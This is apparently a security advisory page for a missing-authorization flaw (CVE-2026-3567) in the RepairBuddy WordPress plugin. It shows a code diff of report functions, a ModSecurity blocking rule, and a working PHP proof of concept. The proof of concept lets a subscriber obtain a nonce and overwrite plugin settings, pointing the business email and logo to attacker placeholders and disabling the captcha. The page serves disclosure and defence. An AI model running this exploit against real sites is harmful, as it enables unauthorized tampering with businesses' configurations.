+            if ( $type !== 'customers_summary' ) {
+                $content .= '<div class="medium-12 cell">';
+                $content .= '<label>' . esc_html__( 'Select Customer', 'computer-repair-shop' );
+                $content .= wcrb_return_customer_select_options( '', 'customer', 'updatenone' );
+                $content .= '</label>';
+                $content .= '</div>';
+            }
+
+            $content .= '</div></div>';
+
+            // Date fields to include (5 options)
+            $content .= '<fieldset class="fieldset">';
+            $content .= '<legend>' . esc_html__( "Dates to include", "computer-repair-shop" ) . '</legend>';
+
+            $content .= '<input checked name="date_to_include[]" value="creation_date" id="date_creation" type="checkbox">';
+            $content .= '<label for="date_creation">' . esc_html__( 'Creation date', 'computer-repair-shop' ) . '</label><br>';
+
+            $content .= '<input checked name="date_to_include[]" value="last_modified" id="date_modified" type="checkbox">';
+            $content .= '<label for="date_modified">' . esc_html__( 'Last modified date', 'computer-repair-shop' ) . '</label><br>';
+
+            $content .= '<input name="date_to_include[]" value="pickup_date" id="date_pickup" type="checkbox">';
+            $content .= '<label for="date_pickup">' . wcrb_get_label( 'pickup_date', 'first' ) . '</label><br>';
+
+            $content .= '<input name="date_to_include[]" value="delivery_date" id="date_delivery" type="checkbox">';
+            $content .= '<label for="date_delivery">' . wcrb_get_label( 'delivery_date', 'first' ) . '</label><br>';
+
+            $content .= '<input name="date_to_include[]" value="next_service_date" id="date_next" type="checkbox">';
+            $content .= '<label for="date_next">' . wcrb_get_label( 'nextservice_date', 'first' ) . '</label>';
+
+            $content .= '</fieldset>';
+
+            // Job status checkboxes
+            $content .= '<fieldset class="fieldset">';
+            $content .= '<legend>' . esc_html__( "Select job status to include", "computer-repair-shop" ) . '</legend>';
+            $content .= wc_generate_status_checkboxes();
+            $content .= '</fieldset>';
+
+            // Payment status checkboxes
+            $content .= '<fieldset class="fieldset">';
+            $content .= '<legend>' . esc_html__( "Select payment status to include", "computer-repair-shop" ) . '</legend>';
+            $content .= wc_generate_payment_status_checkboxes();
+            $content .= '</fieldset>';
+
+            $content .= '<input type="hidden" name="page" value="wc_computer_repair_print" />';
+            $content .= '<input type="hidden" name="print_reports" value="YES" />';
+
+            if ( $type == 'customers_summary' ) {
+                $content .= '<input type="hidden" name="report_type" value="customers_summary" />';
+            } else {
+                $content .= '<input type="hidden" name="report_type" value="jobs_by_customer" />';
+            }
+
+            $content .= '<input type="submit" class="button button-primary" value="' . esc_html__( "Generate Report", "computer-repair-shop" ) . '">';
+            $content .= "</form>";
+        }
+
+        $content .= '</div>';
+        echo wp_kses( $content, wc_return_allowed_tags() );
+    }
+
+    /**
+     * Generate report for a single customer (jobs_by_customer)
+     */
+    public function wc_generate_customer_report( $args ) {
+        if ( ! isset( $args["report_type"] ) || empty( $args["report_type"] ) ) {
+            echo esc_html__( "Report is not defined", "computer-repair-shop" );
+            return;
+        }
+
+        // Sanitize inputs
+        $job_status_include     = isset( $_GET['job_status_include'] ) ? array_map( 'sanitize_text_field', $_GET['job_status_include'] ) : array();
+        $payment_status_include = isset( $_GET['payment_status_include'] ) ? array_map( 'sanitize_text_field', $_GET['payment_status_include'] ) : array();
+        $selected_date_fields   = isset( $_GET['date_to_include'] ) && is_array( $_GET['date_to_include'] )
+            ? array_map( 'sanitize_text_field', $_GET['date_to_include'] )
+            : array( 'creation_date', 'last_modified' ); // default
+
+        $customer_id = isset( $args['customer'] ) ? intval( $args['customer'] ) : 0;
+        $customer_name = esc_html__( 'Customer', 'computer-repair-shop' );
+        if ( $customer_id ) {
+            $user = get_userdata( $customer_id );
+            if ( $user ) {
+                $customer_name = trim( $user->first_name . ' ' . $user->last_name );
+                if ( empty( $customer_name ) ) {
+                    $customer_name = $user->display_name;
+                }
+            }
+        }
+
+        $report_heading = esc_html__( "Jobs Summary By - ", "computer-repair-shop" ) . $customer_name;
+
+        $from_date = ! empty( $args["start_date"] ) ? $args["start_date"] : current_time( 'Y-m-d' );
+        $to_date   = ! empty( $args["end_date"] )   ? $args["end_date"]   : current_time( 'Y-m-d' );
+
+        // Get job data for this customer using our new method
+        $job_data = $this->wc_get_customer_jobs_data( $from_date, $to_date, $customer_id, $job_status_include, $payment_status_include, $selected_date_fields );
+
+        // Render report header
+        $content = '<div class="invoice-box report-container">';
+        $content .= wc_get_report_head( $report_heading );
+        $content .= '<div id="table_div">';
+        $content .= '<div class="wc-rb-report-title"><h2>' . esc_html( $report_heading ) . '</h2></div>';
+
+        $date_format = get_option( 'date_format' );
+        $from_fr     = date_i18n( $date_format, strtotime( $from_date ) );
+        $to_fr       = date_i18n( $date_format, strtotime( $to_date ) );
+
+        $content .= '<div class="wc-rb-report-period">';
+        $content .= '<p><span class="todayDate"><strong>' . esc_html__( "Today", "computer-repair-shop" ) . ':</strong> ' . date_i18n( $date_format ) . ' </span>';
+        $content .= '<span class="statementPeriod"><strong>' . esc_html__( "Statement Period", "computer-repair-shop" ) . ':</strong> ' . $from_fr . ' - ' . $to_fr . '</span></p>';
+        $content .= '</div>';
+
+        $wc_device_label = get_option( 'wc_device_label', esc_html__( 'Device', 'computer-repair-shop' ) );
+
+        $content .= '<table class="invoice-items"><thead>';
+        $content .= '<tr class="heading special_head">
+                        <td>' . esc_html__( "Date", "computer-repair-shop" ) . '</td>
+                        <td>' . esc_html__( "Customer", "computer-repair-shop" ) . '/' . $wc_device_label . '/' . esc_html__( "Tech", "computer-repair-shop" ) . '</td>
+                        <td>' . esc_html__( "Delivery", "computer-repair-shop" ) . '</td>
+                        <td>' . esc_html__( "Status", "computer-repair-shop" ) . '</td>
+                        <td>' . esc_html__( "Payment", "computer-repair-shop" ) . '</td>
+                        <td>' . esc_html__( "Parts", "computer-repair-shop" ) . '</td>
+                        <td>' . esc_html__( "Services", "computer-repair-shop" ) . '</td>
+                        <td>' . esc_html__( "Extras", "computer-repair-shop" ) . '</td>
+                        <td>' . esc_html__( "Tax", "computer-repair-shop" ) . '</td>
+                        <td>' . esc_html__( "Total", "computer-repair-shop" ) . '</td>
+                    </tr></thead><tbody>';
+
+        $content .= $job_data['html'];
+
+        $content .= '</tbody></table>';
+
+        $content .= '<div class="invoice_totals">
+                        <table style="max-width:100%;">
+                            <tbody>
+                                <tr><th>' . esc_html__( "Parts Total", "computer-repair-shop" ) . '</th><td>' . wc_cr_currency_format( $job_data['parts_total'], false, true ) . '</td></tr>
+                                <tr><th>' . esc_html__( "Services Total", "computer-repair-shop" ) . '</th><td>' . wc_cr_currency_format( $job_data['services_total'], false, true ) . '</td></tr>
+                                <tr><th>' . esc_html__( "Extras Total", "computer-repair-shop" ) . '</th><td>' . wc_cr_currency_format( $job_data['extras_total'], false, true ) . '</td></tr>
+                                <tr><th>' . esc_html__( "Taxes Total", "computer-repair-shop" ) . '</th><td>' . wc_cr_currency_format( $job_data['tax_total'], false, true ) . '</td></tr>
+                                <tr><th>' . esc_html__( "Grand Total", "computer-repair-shop" ) . '</th><td>' . wc_cr_currency_format( $job_data['grand_total'], true, true ) . '</td></tr>
+                            </tbody>
+                        </table>
+                    </div>';
+
+        if ( ! wc_rs_license_state() ) {
+            $content .= wc_cr_new_purchase_link( "" );
+        }
+        $content .= '<p align="center">' . esc_html__( "This is computer generated statement does not need signature.", "computer-repair-shop" ) . '</p>';
+        $content .= '</div>'; // table_div
+        $content .= '<button id="btnPrint" class="hidden-print button button-primary">' . esc_html__( "Print", "computer-repair-shop" ) . '</button>';
+        $content .= '</div>'; // invoice-box
+
+        echo wp_kses( $content, wc_return_allowed_tags() );
+    }
+
+    /**
+     * Generate customers summary report (all customers)
+     */
+    public function wc_generate_customers_summary( $args ) {
+        if ( ! isset( $args["report_type"] ) || empty( $args["report_type"] ) ) {
+            echo esc_html__( "Report is not defined", "computer-repair-shop" );
+            return;
+        }
+
+        $job_status_include     = isset( $_GET['job_status_include'] ) ? array_map( 'sanitize_text_field', $_GET['job_status_include'] ) : array();
+        $payment_status_include = isset( $_GET['payment_status_include'] ) ? array_map( 'sanitize_text_field', $_GET['payment_status_include'] ) : array();
+        $selected_date_fields   = isset( $_GET['date_to_include'] ) && is_array( $_GET['date_to_include'] )
+            ? array_map( 'sanitize_text_field', $_GET['date_to_include'] )
+            : array( 'creation_date', 'last_modified' );
+
+        $report_heading = esc_html__( "Customers Job Summary", "computer-repair-shop" );
+
+        $from_date = ! empty( $args["start_date"] ) ? $args["start_date"] : current_time( 'Y-m-d' );
+        $to_date   = ! empty( $args["end_date"] )   ? $args["end_date"]   : current_time( 'Y-m-d' );
+
+        // Get grouped data by customer
+        $customers_data = $this->wc_return_customers_job_summary( $from_date, $to_date, $job_status_include, $payment_status_include, $selected_date_fields );
+
+        $content = '<div class="invoice-box report-container">';
+        $content .= wc_get_report_head( $report_heading );
+        $content .= '<div id="table_div">';
+        $content .= '<div class="wc-rb-report-title"><h2>' . esc_html( $report_heading ) . '</h2></div>';
+
+        $date_format = get_option( 'date_format' );
+        $from_fr     = date_i18n( $date_format, strtotime( $from_date ) );
+        $to_fr       = date_i18n( $date_format, strtotime( $to_date ) );
+
+        $content .= '<div class="wc-rb-report-period">';
+        $content .= '<p><span class="todayDate"><strong>' . esc_html__( "Today", "computer-repair-shop" ) . ':</strong> ' . date_i18n( $date_format ) . ' </span>';
+        $content .= '<span class="statementPeriod"><strong>' . esc_html__( "Statement Period", "computer-repair-shop" ) . ':</strong> ' . $from_fr . ' - ' . $to_fr . '</span></p>';
+        $content .= '</div>';
+
+        $content .= '<table class="invoice-items"><thead>';
+        $content .= '<tr class="heading special_head">
+                        <td>' . esc_html__( "Sr#", "computer-repair-shop" ) . '</td>
+                        <td>' . esc_html__( "Customer", "computer-repair-shop" ) . '</td>
+                        <td>' . esc_html__( "Jobs", "computer-repair-shop" ) . '</td>
+                        <td>' . esc_html__( "Parts", "computer-repair-shop" ) . '</td>
+                        <td>' . esc_html__( "Services", "computer-repair-shop" ) . '</td>
+                        <td>' . esc_html__( "Extras", "computer-repair-shop" ) . '</td>
+                        <td>' . esc_html__( "Tax", "computer-repair-shop" ) . '</td>
+                        <td>' . esc_html__( "Total", "computer-repair-shop" ) . '</td>
+                    </tr></thead><tbody>';
+
+        if ( empty( $customers_data ) ) {
+            $content .= '<tr><td colspan="8">' . esc_html__( "No jobs found.", "computer-repair-shop" ) . '</td></tr>';
+        } else {
+            $counter = 0;
+            foreach ( $customers_data as $cust_id => $jobs ) {
+                $counter++;
+                $cust_name = ( $cust_id === 'empty' ) ? esc_html__( 'Unassigned', 'computer-repair-shop' ) : $this->get_user_name( $cust_id );
+                $job_count = count( $jobs );
+
+                $parts_total = $services_total = $extras_total = $tax_total = $grand_total = 0;
+                foreach ( $jobs as $job ) {
+                    $parts_total    += (float) $job['parts_grand'];
+                    $services_total += (float) $job['services_total'];
+                    $extras_total   += (float) $job['extras_total'];
+                    $tax_total      += (float) $job['tax_total'];
+                    $grand_total    += (float) $job['order_total'];
+                }
+
+                $content .= '<tr class="item-row wc_extra_row">';
+                $content .= '<td>' . $counter . '</td>';
+                $content .= '<td>' . esc_html( $cust_name ) . '</td>';
+                $content .= '<td>' . $job_count . '</td>';
+                $content .= '<td>' . wc_cr_currency_format( $parts_total, false, true ) . '</td>';
+                $content .= '<td>' . wc_cr_currency_format( $services_total, false, true ) . '</td>';
+                $content .= '<td>' . wc_cr_currency_format( $extras_total, false, true ) . '</td>';
+                $content .= '<td>' . wc_cr_currency_format( $tax_total, false, true ) . '</td>';
+                $content .= '<td>' . wc_cr_currency_format( $grand_total, true, true ) . '</td>';
+                $content .= '</tr>';
+            }
+        }
+
+        $content .= '</tbody></table>';
+
+        if ( ! wc_rs_license_state() ) {
+            $content .= wc_cr_new_purchase_link( "" );
+        }
+        $content .= '<p align="center">' . esc_html__( "This is computer generated statement does not need signature.", "computer-repair-shop" ) . '</p>';
+        $content .= '</div>'; // table_div
+        $content .= '<button id="btnPrint" class="hidden-print button button-primary">' . esc_html__( "Print", "computer-repair-shop" ) . '</button>';
+        $content .= '</div>'; // invoice-box
+
+        echo wp_kses( $content, wc_return_allowed_tags() );
+    }
+
+    /**
+     * Retrieve job data for a specific customer (used by wc_generate_customer_report)
+     */
+    private function wc_get_customer_jobs_data( $from_date, $to_date, $customer_id, $job_status_include, $payment_status_include, $selected_date_fields ) {
+        global $wpdb;
+
+        $results = array(
+            'html'           => '',
+            'parts_total'    => 0,
+            'services_total' => 0,
+            'extras_total'   => 0,
+            'tax_total'      => 0,
+            'grand_total'    => 0,
+        );
+
+        // Build the base query with customer filter
+        $sql = $this->build_jobs_query_sql( $from_date, $to_date, $job_status_include, $payment_status_include, $selected_date_fields, $customer_id );
+        $job_ids = $wpdb->get_col( $sql );
+
+        if ( empty( $job_ids ) ) {
+            $results['html'] = '<tr><td colspan="10">' . esc_html__( "No jobs found.", "computer-repair-shop" ) . '</td></tr>';
+            return $results;
+        }
+
+        // For each job, calculate totals and build HTML rows
+        foreach ( $job_ids as $job_id ) {
+            $job = get_post( $job_id );
+            if ( ! $job ) continue;
+
+            $case_number   = get_post_meta( $job_id, '_case_number', true );
+            $customer_id   = get_post_meta( $job_id, '_customer', true );
+            $customer_name = $this->get_user_name( $customer_id );
+            $device_data   = get_post_meta( $job_id, '_wc_device_data', true );
+            $device_label  = '';
+            if ( is_array( $device_data ) && ! empty( $device_data ) ) {
+                $first_device = reset( $device_data );
+                $device_label = isset( $first_device['device_post_id'] ) ? get_the_title( $first_device['device_post_id'] ) : '';
+            }
+
+            $order_status_label = get_post_meta( $job_id, '_wc_order_status_label', true );
+            $payment_status_label = get_post_meta( $job_id, '_wc_payment_status_label', true );
+
+            // Totals (use your existing helper functions)
+            $parts_total    = (float) wc_order_grand_total( $job_id, 'parts_total' );
+            $products_total = (float) wc_order_grand_total( $job_id, 'products_total' );
+            $services_total = (float) wc_order_grand_total( $job_id, 'services_total' );
+            $extras_total   = (float) wc_order_grand_total( $job_id, 'extras_total' );
+
+            $parts_tax      = (float) wc_order_grand_total( $job_id, 'parts_tax' );
+            $products_tax   = (float) wc_order_grand_total( $job_id, 'products_tax' );
+            $services_tax   = (float) wc_order_grand_total( $job_id, 'services_tax' );
+            $extras_tax     = (float) wc_order_grand_total( $job_id, 'extras_tax' );
+
+            $parts_grand    = $parts_total + $products_total - $parts_tax - $products_tax;
+            $services_grand = $services_total - $services_tax;
+            $extras_grand   = $extras_total - $extras_tax;
+            $tax_total      = $parts_tax + $products_tax + $services_tax + $extras_tax;
+            $order_total    = (float) wc_order_grand_total( $job_id, 'grand_total' );
+
+            // Accumulate totals for footer
+            $results['parts_total']    += $parts_grand;
+            $results['services_total'] += $services_grand;
+            $results['extras_total']   += $extras_grand;
+            $results['tax_total']      += $tax_total;
+            $results['grand_total']    += $order_total;
+
+            // Build row
+            $row = '<tr class="item-row">';
+            $row .= '<td>' . date_i18n( get_option( 'date_format' ), strtotime( $job->post_date ) ) . '</td>';
+            $row .= '<td>' . esc_html( $customer_name ) . '<br>' . esc_html( $device_label ) . '<br>Tech: ' . $this->get_technician_names( $job_id ) . '</td>';
+            $row .= '<td>' . esc_html( get_post_meta( $job_id, '_delivery_date', true ) ) . '</td>';
+            $row .= '<td>' . esc_html( $order_status_label ) . '</td>';
+            $row .= '<td>' . esc_html( $payment_status_label ) . '</td>';
+            $row .= '<td>' . wc_cr_currency_format( $parts_grand ) . '</td>';
+            $row .= '<td>' . wc_cr_currency_format( $services_grand ) . '</td>';
+            $row .= '<td>' . wc_cr_currency_format( $extras_grand ) . '</td>';
+            $row .= '<td>' . wc_cr_currency_format( $tax_total ) . '</td>';
+            $row .= '<td>' . wc_cr_currency_format( $order_total ) . '</td>';
+            $row .= '</tr>';
+
+            $results['html'] .= $row;
+        }
+
+        return $results;
+    }
+
+    /**
+     * Retrieve jobs grouped by customer (used by wc_generate_customers_summary)
+     */
+    public function wc_return_customers_job_summary( $from_date, $to_date, $job_status_include, $payment_status_include, $selected_date_fields ) {
+        global $wpdb;
+
+        // Build query without customer filter (to get all jobs)
+        $sql = $this->build_jobs_query_sql( $from_date, $to_date, $job_status_include, $payment_status_include, $selected_date_fields, 0 );
+        $job_ids = $wpdb->get_col( $sql );
+
+        if ( empty( $job_ids ) ) {
+            return array();
+        }
+
+        $customer_jobs = array();
+
+        foreach ( $job_ids as $job_id ) {
+            // Calculate totals for this job
+            $parts_total    = (float) wc_order_grand_total( $job_id, 'parts_total' );
+            $products_total = (float) wc_order_grand_total( $job_id, 'products_total' );
+            $services_total = (float) wc_order_grand_total( $job_id, 'services_total' );
+            $extras_total   = (float) wc_order_grand_total( $job_id, 'extras_total' );
+
+            $parts_tax      = (float) wc_order_grand_total( $job_id, 'parts_tax' );
+            $products_tax   = (float) wc_order_grand_total( $job_id, 'products_tax' );
+            $services_tax   = (float) wc_order_grand_total( $job_id, 'services_tax' );
+            $extras_tax     = (float) wc_order_grand_total( $job_id, 'extras_tax' );
+
+            $parts_grand    = $parts_total + $products_total - $parts_tax - $products_tax;
+            $services_grand = $services_total - $services_tax;
+            $extras_grand   = $extras_total - $extras_tax;
+            $tax_total      = $parts_tax + $products_tax + $services_tax + $extras_tax;
+            $order_total    = (float) wc_order_grand_total( $job_id, 'grand_total' );
+
+            $job_data = array(
+                'job_id'         => $job_id,
+                'case_number'    => get_post_meta( $job_id, '_case_number', true ),
+                'order_date'     => get_the_date( 'Y-m-d', $job_id ),
+                'payment_status' => get_post_meta( $job_id, '_wc_payment_status_label', true ),
+                'job_status'     => get_post_meta( $job_id, '_wc_order_status_label', true ),
+                'customer'       => get_post_meta( $job_id, '_customer', true ),
+                'parts_grand'    => $parts_grand,
+                'services_total' => $services_grand,
+                'extras_total'   => $extras_grand,
+                'tax_total'      => $tax_total,
+                'order_total'    => $order_total,
+            );
+
+            $cust_id = get_post_meta( $job_id, '_customer', true );
+            if ( ! empty( $cust_id ) ) {
+                $customer_jobs[ $cust_id ][] = $job_data;
+            } else {
+                $customer_jobs['empty'][] = $job_data;
+            }
+        }
+
+        return $customer_jobs;
+    }
+
+    /**
+     * Build the SQL query to fetch job IDs based on all filters.
+     *
+     * @param string $from_date           Start date (Y-m-d)
+     * @param string $to_date             End date (Y-m-d)
+     * @param array  $job_status_include  Array of job statuses to include
+     * @param array  $payment_status_include Array of payment statuses to include
+     * @param array  $selected_date_fields Array of date field keys (creation_date, last_modified, pickup_date, delivery_date, next_service_date)
+     * @param int    $customer_id         Customer ID (0 for all)
+     * @return string                      SQL query
+     */
+    private function build_jobs_query_sql( $from_date, $to_date, $job_status_include, $payment_status_include, $selected_date_fields, $customer_id = 0 ) {
+        global $wpdb;
+
+        // Convert from_date and to_date to UTC for post_date/post_modified comparisons
+        $wp_timezone = wp_timezone();
+        $utc = new DateTimeZone( 'UTC' );
+
+        $start_local = DateTime::createFromFormat( 'Y-m-d', $from_date, $wp_timezone );
+        $end_local   = DateTime::createFromFormat( 'Y-m-d', $to_date, $wp_timezone );
+
+        if ( ! $start_local || ! $end_local ) {
+            return "SELECT NULL"; // invalid dates
+        }
+
+        $start_local->setTime( 0, 0, 0 );
+        $end_local->setTime( 23, 59, 59 );
+
+        $start_utc = clone $start_local;
+        $start_utc->setTimezone( $utc );
+        $end_utc   = clone $end_local;
+        $end_utc->setTimezone( $utc );
+
+        $start_utc_str = $start_utc->format( 'Y-m-d H:i:s' );
+        $end_utc_str   = $end_utc->format( 'Y-m-d H:i:s' );
+
+        // Base SELECT
+        $sql = "SELECT DISTINCT p.ID FROM {$wpdb->posts} p";
+
+        // We'll collect WHERE clauses
+        $where = array( "p.post_type = 'rep_jobs'" );
+
+        // --- Date conditions (OR of selected fields) ---
+        $date_conditions = array();
+
+        // 1. Creation date (post_date)
+        if ( in_array( 'creation_date', $selected_date_fields ) ) {
+            $date_conditions[] = $wpdb->prepare(
+                "(p.post_date BETWEEN %s AND %s)",
+                $start_utc_str,
+                $end_utc_str
+            );
+        }
+
+        // 2. Last modified (post_modified)
+        if ( in_array( 'last_modified', $selected_date_fields ) ) {
+            $date_conditions[] = $wpdb->prepare(
+                "(p.post_modified BETWEEN %s AND %s)",
+                $start_utc_str,
+                $end_utc_str
+            );
+        }
+
+        // 3. Pickup date (_pickup_date)
+        if ( in_array( 'pickup_date', $selected_date_fields ) ) {
+            $sql .= " LEFT JOIN {$wpdb->postmeta} pm_pickup ON p.ID = pm_pickup.post_id AND pm_pickup.meta_key = '_pickup_date'";
+            $date_conditions[] = $wpdb->prepare(
+                "(pm_pickup.meta_value BETWEEN %s AND %s)",
+                $from_date,
+                $to_date
+            );
+        }
+
+        // 4. Delivery date (_delivery_date)
+        if ( in_array( 'delivery_date', $selected_date_fields ) ) {
+            $sql .= " LEFT JOIN {$wpdb->postmeta} pm_delivery ON p.ID = pm_delivery.post_id AND pm_delivery.meta_key = '_delivery_date'";
+            $date_conditions[] = $wpdb->prepare(
+                "(pm_delivery.meta_value BETWEEN %s AND %s)",
+                $from_date,
+                $to_date
+            );
+        }
+
+        // 5. Next service date (_next_service_date)
+        if ( in_array( 'next_service_date', $selected_date_fields ) ) {
+            $sql .= " LEFT JOIN {$wpdb->postmeta} pm_next ON p.ID = pm_next.post_id AND pm_next.meta_key = '_next_service_date'";
+            $date_conditions[] = $wpdb->prepare(
+                "(pm_next.meta_value BETWEEN %s AND %s)",
+                $from_date,
+                $to_date
+            );
+        }
+
+        if ( empty( $date_conditions ) ) {
+            // No date fields selected – return no jobs
+            return "SELECT NULL";
+        }
+
+        $where[] = "( " . implode( ' OR ', $date_conditions ) . " )";
+
+        // --- Job status filter ---
+        if ( ! empty( $job_status_include ) ) {
+            $status_placeholders = implode( ',', array_fill( 0, count( $job_status_include ), '%s' ) );
+            $sql .= " INNER JOIN {$wpdb->postmeta} pm_status ON p.ID = pm_status.post_id AND pm_status.meta_key = '_wc_order_status'";
+            $where[] = $wpdb->prepare(
+                "pm_status.meta_value IN ($status_placeholders)",
+                $job_status_include
+            );
+        }
+
+        // --- Payment status filter ---
+        if ( ! empty( $payment_status_include ) ) {
+            $payment_placeholders = implode( ',', array_fill( 0, count( $payment_status_include ), '%s' ) );
+            $sql .= " INNER JOIN {$wpdb->postmeta} pm_payment ON p.ID = pm_payment.post_id AND pm_payment.meta_key = '_wc_payment_status'";
+            $where[] = $wpdb->prepare(
+                "pm_payment.meta_value IN ($payment_placeholders)",
+                $payment_status_include
+            );
+        }
+
+        // --- Customer filter ---
+        if ( $customer_id > 0 ) {
+            $sql .= " INNER JOIN {$wpdb->postmeta} pm_cust ON p.ID = pm_cust.post_id AND pm_cust.meta_key = '_customer'";
+            $where[] = $wpdb->prepare(
+                "pm_cust.meta_value = %d",
+                $customer_id
+            );
+        }
+
+        $sql .= " WHERE " . implode( ' AND ', $where );
+
+        return $sql;
+    }
+
+    /**
+     * Helper to get user's full name
+     */
+    private function get_user_name( $user_id ) {
+        if ( ! $user_id ) {
+            return '';
+        }
+        $user = get_userdata( $user_id );
+        if ( ! $user ) {
+            return '';
+        }
+        $name = trim( $user->first_name . ' ' . $user->last_name );
+        return empty( $name ) ? $user->display_name : $name;
+    }
+
+    /**
+     * Helper to get technician names for a job (comma separated)
+     */
+    private function get_technician_names( $job_id ) {
+        $technicians_raw = get_post_meta( $job_id, '_technician', false );
+        $names = array();
+        if ( ! empty( $technicians_raw ) ) {
+            foreach ( $technicians_raw as $tech_value ) {
+                if ( is_array( $tech_value ) ) {
+                    $tech_value = reset( $tech_value );
+                }
+                $tech_id = intval( $tech_value );
+                if ( $tech_id > 0 ) {
+                    $names[] = $this->get_user_name( $tech_id );
+                }
+            }
+        }
+        return empty( $names ) ? '' : implode( ', ', $names );
+    }
 }
 No newline at end of file
--- a/computer-repair-shop/lib/includes/classes/class-reports_technicians.php
+++ b/computer-repair-shop/lib/includes/classes/class-reports_technicians.php
@@ -1,542 +1,629 @@
 <?php
 /**
- * Handles the SMS integration and sending
- *
- * Help setup pages to they can be used in notifications and other items
+ * Handles technician reports
  *
  * @package computer-repair-shop
- * @version 3.7947
+ * @version 3.8
  */

 defined( 'ABSPATH' ) || exit;

 class REPORT_TECHNICIANS {

-	function generate_form_output_jobs_by_technician( $type, $range ) {
-		if(empty($type)) {
-			return;
-		}
-		if(empty($range)) {
-			return;
-		}
-		$content = '<div id="invoice-box" class="invoice-box">';
-
-		if ( $type == "date_range" || $type == 'technicians_summary' ) {
-			$today = date("Y-m-d");
-
-			$content .= "<h2 class='text-center select-head'>".esc_html__("Select options to generate report", "computer-repair-shop")."</h2>";
-
-			$content .= "<form method='get' action=''>";
-
-			$content .= '<div class="grid-container">';
-			$content .= '<div class="grid-x grid-margin-x">';
-
-			$content .= '<div class="medium-6 cell">';
-			$content .= '<label>'.esc_html__("From Date", "computer-repair-shop");
-			$content .= '<input type="date" name="start_date" value="'.$today.'">';
-			$content .= '</label>';
-			$content .= '</div>';
-
-			$content .= '<div clas

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2026-3567
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php" 
  "id:1003567,phase:2,deny,status:403,chain,msg:'CVE-2026-3567: RepairBuddy unauthorized settings modification attempt',severity:'CRITICAL',tag:'CVE-2026-3567',tag:'WordPress',tag:'Plugin-RepairBuddy'"
  SecRule ARGS_POST:action "@streq wc_rep_shop_settings_submission" "chain"
    SecRule &ARGS_POST:wcrb_main_setting_nonce "!@eq 1" 
      "t:none,setvar:'tx.cve_2026_3567_block=1'"

SecRule TX:cve_2026_3567_block "@eq 1" 
  "id:1003568,phase:2,deny,status:403,msg:'CVE-2026-3567: Blocked RepairBuddy settings modification without valid nonce',severity:'CRITICAL',tag:'CVE-2026-3567'"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-3567 - RepairBuddy <= 4.1132 - Missing Authorization to Authenticated (Subscriber+) Plugin Settings Modification via wc_rep_shop_settings_submission AJAX Action

<?php

$target_url = 'https://vulnerable-site.com';
$username = 'subscriber_user';
$password = 'subscriber_pass';

// Step 1: Authenticate to obtain WordPress cookies
$login_url = $target_url . '/wp-login.php';
$login_data = array(
    'log' => $username,
    'pwd' => $password,
    'wp-submit' => 'Log In',
    'redirect_to' => $target_url . '/wp-admin/',
    'testcookie' => '1'
);

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($login_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HEADER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$response = curl_exec($ch);

// Step 2: Generate a valid nonce for the settings action
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';
$nonce_data = array(
    'action' => 'wc_rb_get_fresh_nonce',
    'nonce_name' => 'wcrb_main_setting_nonce'
);

curl_setopt($ch, CURLOPT_URL, $ajax_url);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($nonce_data));
curl_setopt($ch, CURLOPT_HEADER, false);
$nonce_response = curl_exec($ch);

// Extract nonce from JSON response
$nonce_json = json_decode($nonce_response, true);
if (!$nonce_json || !isset($nonce_json['nonce'])) {
    die('Failed to obtain nonce');
}
$nonce = $nonce_json['nonce'];

// Step 3: Modify plugin settings using the generated nonce
$settings_data = array(
    'action' => 'wc_rep_shop_settings_submission',
    'wcrb_main_setting_nonce' => $nonce,
    'wcrb_business_name' => 'Hacked Business',
    'wcrb_business_email' => 'attacker@example.com',
    'wcrb_business_logo' => 'https://evil.com/logo.png',
    'wcrb_menu_label' => 'Hacked Menu',
    'wcrb_gdpr_consent_text' => 'We steal your data',
    'wcrb_turn_off_booking_attachment' => 'YES',
    'wcrb_turn_booking_forms_to_jobs' => 'YES',
    'wcrb_turn_off_other_device_brands' => 'YES',
    'wcrb_turn_off_idimei_booking' => 'YES',
    'wcrb_turn_off_captcha' => 'YES'
);

curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($settings_data));
$settings_response = curl_exec($ch);

// Check if settings were updated successfully
$result = json_decode($settings_response, true);
if ($result && isset($result['success']) && $result['success'] === true) {
    echo 'SUCCESS: Plugin settings modified. Business name changed to: Hacked Businessn';
    echo 'GDPR text changed to: We steal your datan';
    echo 'PDF attachments disabled for bookings.n';
} else {
    echo 'FAILED: Settings modification unsuccessful.n';
    echo 'Response: ' . $settings_response . 'n';
}

curl_close($ch);

?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

